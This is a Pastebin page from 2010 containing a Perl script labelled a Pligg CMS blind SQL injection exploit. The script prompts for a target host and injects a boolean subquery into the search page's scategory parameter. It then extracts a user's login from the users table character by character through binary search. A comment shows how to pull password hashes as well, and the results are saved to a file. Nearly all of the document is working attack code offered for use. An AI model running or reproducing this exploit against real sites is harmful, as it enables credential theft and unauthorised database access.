Guest User

RulleR

a guest
Jan 27th, 2010
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.45 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use LWP;
  4. use Fcntl;
  5.  
  6. $title = "
  7. [*]=====================================[*]
  8. !                                         !
  9. !  Pligg CMS Blind SQL Injection Exploit  !
  10. !                                         !
  11. !            Found && coded by RulleR     !
  12. !                         Antichat.ru     !
  13. !                                         !
  14. [*]=====================================[*]
  15. ";
  16. print $title;
  17. print "\n[+] Enter Host: ";
  18. chop ($host = <>);
  19. print "\n[+] Enter Search Keywords: ";
  20. chop ($searchkey = <>);
  21. print "\n[+] Enter \"scategory\": ";
  22. chop ($scat = <>);
  23. print "\n[>] Exploiting started... $host\n\n";
  24. print "    Please wait...\n\n";
  25.  
  26. #________________ CONFIG _______________
  27.  
  28. $regexp = '<a href=.*>'.$searchkey;
  29. $length = 100;
  30. $column = 'user_login';#concat_ws(0x3a,user_login,user_pass)
  31. $prefix = 'pligg_';
  32. $table = 'users';
  33. $user_id = 1;
  34. $filename = 'Pligg_exp_result.txt';
  35. #_______________________________________
  36.  
  37. XEK: for ($start = 1; $start <= $length; $start++) {
  38.          $min = 0;$max = 255;
  39.          while(1) {          
  40.              $x = int(($max - $min)/2 + $min);
  41.              if (&WebGet($host,$start,$x) =~ /$regexp/) {
  42.                  $min = $x;
  43.              }
  44.              else {
  45.                  $max = $x;
  46.              }
  47.              last XEK if ($max == 1);
  48.              if ($max - $min == 1) {
  49.                  $char = chr($max);              
  50.                  push (@res, $char);
  51.                  print @res,"\n";last;               
  52.              }
  53.              
  54.          }
  55.      }
  56.  
  57. print "\n[!] Exploiting finished :)\n\n";
  58. print "---------------------- [Result] ----------------------\n";
  59. print @res,"\n";
  60. print "------------------------------------------------------\n";
  61.  
  62. sysopen (RESULT, $filename, O_WRONLY | O_CREAT);
  63. print RESULT $title;
  64. print RESULT "\n---------------------- [Result] ----------------------\n";
  65. print RESULT @res;
  66. print RESULT "\n------------------------------------------------------\n";
  67. close (RESULT);
  68. print "\nResult saving in $filename\n";
  69.  
  70. sub WebGet() {
  71.      $inj = '/search.php?search='.$searchkey.'&slink=1&scategory='.$scat.'+and+ord(substr((select+'.$column.'+from+'.$prefix.$table.'+where+user_id='.$user_id.'),'.$_[1].',1))>'.$_[2].'&adv=1';    
  72.      $request = HTTP::Request->new(GET => $_[0].$inj);
  73.      $u_a = LWP::UserAgent->new();
  74.      $u_a->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
  75.      $u_a->timeout(10);
  76.      $response = $u_a->request($request);
  77.      if ($response->is_error) {
  78.          print " ! Error: ".$response->status_line.".\n"; die " :(\n";
  79.      }
  80.      return $response->content;
  81. }
Advertisement
Add Comment
Please, Sign In to add comment